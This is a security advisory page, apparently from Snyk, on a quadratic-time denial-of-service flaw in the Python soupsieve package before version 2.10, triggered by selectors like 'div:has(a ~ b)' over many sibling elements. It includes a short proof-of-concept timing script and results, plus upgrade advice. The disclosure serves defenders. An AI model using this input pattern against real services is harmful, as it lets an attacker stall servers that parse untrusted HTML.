Inefficient Algorithmic Complexity Affecting soupsieve package, versions [,2.10)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.48% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-SOUPSIEVE-22549591
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditNotAFlightRisk

Introduced: 13 Nov 2026

NewCVE-2026-126192  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade soupsieve to version 2.10 or higher.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the match_future_relations function when evaluating a CSS selector containing a general-sibling combinator (~) inside :has(), such as div:has(a ~ b), against HTML with many sibling elements. When no matching right-hand sibling is present, match_future_child walks every candidate element under the scope and for each one the general-sibling branch of match_future_relations walks all following siblings, producing O(n²) comparisons. An attacker supplying a document with a few thousand sibling elements can stall the process for a minute of CPU per request.

PoC

Installed from PyPI: pip install soupsieve==2.9.2 beautifulsoup4.

import time
import soupsieve
from bs4 import BeautifulSoup

selector = "div:has(a ~ b)"

for n in (1000, 2000, 4000, 8000): html = "<div>" + ("<a></a>" * n) + "</div>" soup = BeautifulSoup(html, "html.parser") start = time.perf_counter() soupsieve.select(selector, soup) print(n, round((time.perf_counter() - start) * 1000), "ms")

Measured:

n=1000    837 ms
n=2000   3667 ms
n=4000  14797 ms
n=8000  59746 ms

Time quadruples for each doubling of n. The n=8000 input is a ~56 KB HTML fragment.

CVSS Base Scores

version 4.0
version 3.1